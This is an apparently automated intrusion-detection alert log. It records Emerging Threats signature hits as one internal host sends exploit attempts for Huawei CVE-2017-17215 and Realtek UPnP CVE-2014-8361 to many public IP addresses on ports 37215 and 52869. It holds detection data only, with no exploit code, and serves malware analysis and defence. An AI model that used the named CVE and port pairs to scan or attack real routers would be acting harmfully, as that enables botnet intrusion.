Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 86.115.137.64

Timestamp:	07/20/24-23:10:52.045718
SID:	2831300
Source Port:	44108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.4.105.187

Timestamp:	07/20/24-23:10:49.402846
SID:	2835222
Source Port:	49026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.38.21.29

Timestamp:	07/20/24-23:11:03.365385
SID:	2829579
Source Port:	54194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.122.204.244

Timestamp:	07/20/24-23:11:03.396755
SID:	2829579
Source Port:	60040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 148.185.232.135

Timestamp:	07/20/24-23:10:40.650979
SID:	2829579
Source Port:	47976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 220.55.101.199

Timestamp:	07/20/24-23:10:39.103625
SID:	2025132
Source Port:	32838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 57.100.65.212

Timestamp:	07/20/24-23:10:51.951774
SID:	2027339
Source Port:	55884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.81.0.187

Timestamp:	07/20/24-23:10:41.221769
SID:	2835222
Source Port:	38674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.16.205.236

Timestamp:	07/20/24-23:10:49.370142
SID:	2835222
Source Port:	46956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.221.232.221

Timestamp:	07/20/24-23:10:41.221061
SID:	2829579
Source Port:	49914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 172.191.63.12

Timestamp:	07/20/24-23:10:40.656426
SID:	2829579
Source Port:	38834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 209.16.225.185

Timestamp:	07/20/24-23:10:47.748417
SID:	2025132
Source Port:	44756
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 208.102.55.155

Timestamp:	07/20/24-23:10:45.853008
SID:	2025132
Source Port:	54332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.167.79.148

Timestamp:	07/20/24-23:10:55.999553
SID:	2829579
Source Port:	51404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 173.225.79.113

Timestamp:	07/20/24-23:10:44.227698
SID:	2027339
Source Port:	59420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 109.200.111.240

Timestamp:	07/20/24-23:10:51.897021
SID:	2027339
Source Port:	39128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.205.160.99

Timestamp:	07/20/24-23:10:40.649804
SID:	2829579
Source Port:	52910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.22.166.123

Timestamp:	07/20/24-23:10:42.253017
SID:	2829579
Source Port:	33244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.89.109.175

Timestamp:	07/20/24-23:10:49.402846
SID:	2829579
Source Port:	51906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 103.246.101.15

Timestamp:	07/20/24-23:10:39.430384
SID:	2835222
Source Port:	43798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.29.61

Timestamp:	07/20/24-23:10:39.473095
SID:	2829579
Source Port:	41832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 151.94.173.235

Timestamp:	07/20/24-23:10:42.642008
SID:	2027339
Source Port:	50644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.148.32.198

Timestamp:	07/20/24-23:11:03.406798
SID:	2835222
Source Port:	55726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 43.91.208.66

Timestamp:	07/20/24-23:10:51.900659
SID:	2027339
Source Port:	53666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 42.63.101.142

Timestamp:	07/20/24-23:10:46.832505
SID:	2829579
Source Port:	50908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.70.57.191

Timestamp:	07/20/24-23:10:40.601389
SID:	2835222
Source Port:	34274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.133.193.71

Timestamp:	07/20/24-23:10:41.673540
SID:	2829579
Source Port:	34538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.14.238.220

Timestamp:	07/20/24-23:10:52.563890
SID:	2835222
Source Port:	60842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.190.172.77

Timestamp:	07/20/24-23:11:03.361095
SID:	2835222
Source Port:	48844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 105.163.214.37

Timestamp:	07/20/24-23:10:55.993044
SID:	2829579
Source Port:	47416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.247.243.177

Timestamp:	07/20/24-23:10:41.220575
SID:	2829579
Source Port:	60146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.218.107.66

Timestamp:	07/20/24-23:10:41.234520
SID:	2829579
Source Port:	37992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 221.255.54.167

Timestamp:	07/20/24-23:10:51.900658
SID:	2831300
Source Port:	41830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 61.206.111.53

Timestamp:	07/20/24-23:10:48.340035
SID:	2025132
Source Port:	59990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.152.243.164

Timestamp:	07/20/24-23:10:46.755097
SID:	2835222
Source Port:	45258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 179.62.67.97

Timestamp:	07/20/24-23:11:06.674872
SID:	2835222
Source Port:	59700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 185.0.88.111

Timestamp:	07/20/24-23:10:56.039438
SID:	2829579
Source Port:	54238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.124.152.142

Timestamp:	07/20/24-23:10:42.273908
SID:	2835222
Source Port:	59832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.166.39.7

Timestamp:	07/20/24-23:11:03.415682
SID:	2829579
Source Port:	41208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 58.5.254.83

Timestamp:	07/20/24-23:11:06.706527
SID:	2835222
Source Port:	40962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 217.115.151.81

Timestamp:	07/20/24-23:10:42.622797
SID:	2831300
Source Port:	41408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.215.163.237

Timestamp:	07/20/24-23:10:46.726397
SID:	2829579
Source Port:	59324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.28.65.67

Timestamp:	07/20/24-23:10:41.220541
SID:	2829579
Source Port:	43324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 68.197.157.97

Timestamp:	07/20/24-23:10:41.224086
SID:	2829579
Source Port:	51878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.123.0.39

Timestamp:	07/20/24-23:10:49.383600
SID:	2829579
Source Port:	49878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.170.80.233

Timestamp:	07/20/24-23:10:52.517494
SID:	2835222
Source Port:	49884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.193.80.220

Timestamp:	07/20/24-23:10:52.540929
SID:	2829579
Source Port:	54278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 88.19.102.203

Timestamp:	07/20/24-23:11:06.686627
SID:	2835222
Source Port:	34024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 220.239.248.79

Timestamp:	07/20/24-23:10:42.621600
SID:	2027339
Source Port:	45858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.14.205.20

Timestamp:	07/20/24-23:10:52.521111
SID:	2835222
Source Port:	47582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.106.207.157

Timestamp:	07/20/24-23:11:03.343633
SID:	2835222
Source Port:	45328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.235.78.126

Timestamp:	07/20/24-23:10:55.999553
SID:	2829579
Source Port:	58642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 119.185.234.171

Timestamp:	07/20/24-23:10:51.984562
SID:	2831300
Source Port:	34948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 64.20.21.79

Timestamp:	07/20/24-23:10:52.558618
SID:	2835222
Source Port:	45576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.252.7.7

Timestamp:	07/20/24-23:10:47.646267
SID:	2027339
Source Port:	56986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 42.250.239.223

Timestamp:	07/20/24-23:10:47.441342
SID:	2025132
Source Port:	47594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.207.0.55

Timestamp:	07/20/24-23:10:44.103705
SID:	2027339
Source Port:	52578
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 54.133.250.242

Timestamp:	07/20/24-23:10:47.793944
SID:	2025132
Source Port:	46796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 172.149.150.175

Timestamp:	07/20/24-23:10:51.917055
SID:	2831300
Source Port:	46912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.46.101.20

Timestamp:	07/20/24-23:10:42.661465
SID:	2027339
Source Port:	47494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 8.13.226.92

Timestamp:	07/20/24-23:10:51.951774
SID:	2831300
Source Port:	53538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 135.178.159.192

Timestamp:	07/20/24-23:10:52.005273
SID:	2027339
Source Port:	32828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.57.221.248

Timestamp:	07/20/24-23:10:42.263488
SID:	2829579
Source Port:	55546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 209.118.30.87

Timestamp:	07/20/24-23:10:59.057855
SID:	2835222
Source Port:	38322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.198.39.152

Timestamp:	07/20/24-23:10:46.810541
SID:	2835222
Source Port:	54980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 152.73.4.67

Timestamp:	07/20/24-23:10:48.599248
SID:	2027339
Source Port:	56388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 149.205.10.158

Timestamp:	07/20/24-23:10:39.431804
SID:	2829579
Source Port:	60562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.185.248.50

Timestamp:	07/20/24-23:10:52.592459
SID:	2835222
Source Port:	33412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 126.92.188.140

Timestamp:	07/20/24-23:10:49.421978
SID:	2829579
Source Port:	46168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 136.9.133.29

Timestamp:	07/20/24-23:10:52.572631
SID:	2829579
Source Port:	46848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 129.64.233.15

Timestamp:	07/20/24-23:10:44.062554
SID:	2027339
Source Port:	34730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.3.219

Timestamp:	07/20/24-23:10:49.380109
SID:	2835222
Source Port:	56500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.31.73.154

Timestamp:	07/20/24-23:10:46.711367
SID:	2829579
Source Port:	42892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.155.11.69

Timestamp:	07/20/24-23:11:03.361259
SID:	2829579
Source Port:	59896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.167.209

Timestamp:	07/20/24-23:11:06.688603
SID:	2829579
Source Port:	43442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.204.196.247

Timestamp:	07/20/24-23:11:06.662677
SID:	2829579
Source Port:	38158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 1.160.86.11

Timestamp:	07/20/24-23:10:42.630809
SID:	2831300
Source Port:	47378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 124.1.175.52

Timestamp:	07/20/24-23:10:49.428717
SID:	2835222
Source Port:	38892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 159.255.12.160

Timestamp:	07/20/24-23:10:52.047769
SID:	2831300
Source Port:	51812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.63.58.18

Timestamp:	07/20/24-23:10:56.011227
SID:	2829579
Source Port:	40292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.157.125.26

Timestamp:	07/20/24-23:10:59.029814
SID:	2835222
Source Port:	48738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.146.53.116

Timestamp:	07/20/24-23:11:03.339788
SID:	2829579
Source Port:	57628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 99.118.106.29

Timestamp:	07/20/24-23:10:43.056421
SID:	2027339
Source Port:	41928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.226.226.43

Timestamp:	07/20/24-23:10:55.995070
SID:	2835222
Source Port:	41968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 72.206.41.225

Timestamp:	07/20/24-23:11:03.361095
SID:	2829579
Source Port:	45910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 103.118.11.148

Timestamp:	07/20/24-23:10:45.071813
SID:	2027339
Source Port:	60978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 163.51.19.31

Timestamp:	07/20/24-23:10:48.433861
SID:	2027339
Source Port:	54984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 203.235.22.121

Timestamp:	07/20/24-23:10:43.634330
SID:	2027339
Source Port:	37436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 60.216.97.213

Timestamp:	07/20/24-23:10:51.908570
SID:	2831300
Source Port:	40374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 24.231.54.99

Timestamp:	07/20/24-23:10:39.109562
SID:	2025132
Source Port:	58256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.226.172.60

Timestamp:	07/20/24-23:10:52.546429
SID:	2829579
Source Port:	43670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.35.196.3

Timestamp:	07/20/24-23:10:39.486941
SID:	2835222
Source Port:	55552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.13.92.10

Timestamp:	07/20/24-23:10:49.421978
SID:	2835222
Source Port:	39050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.50.250.30

Timestamp:	07/20/24-23:10:59.067929
SID:	2829579
Source Port:	36638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 101.180.103.77

Timestamp:	07/20/24-23:10:51.999918
SID:	2027339
Source Port:	47492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 137.150.64.194

Timestamp:	07/20/24-23:10:51.961780
SID:	2831300
Source Port:	45786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.83.140.24

Timestamp:	07/20/24-23:10:56.007995
SID:	2835222
Source Port:	48450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 107.205.165.229

Timestamp:	07/20/24-23:10:39.654317
SID:	2027339
Source Port:	59330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 178.155.139.110

Timestamp:	07/20/24-23:10:51.915609
SID:	2831300
Source Port:	59672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.181.106.45

Timestamp:	07/20/24-23:10:56.002189
SID:	2829579
Source Port:	59280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.143.76.23

Timestamp:	07/20/24-23:10:39.438135
SID:	2835222
Source Port:	59254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 192.147.178.21

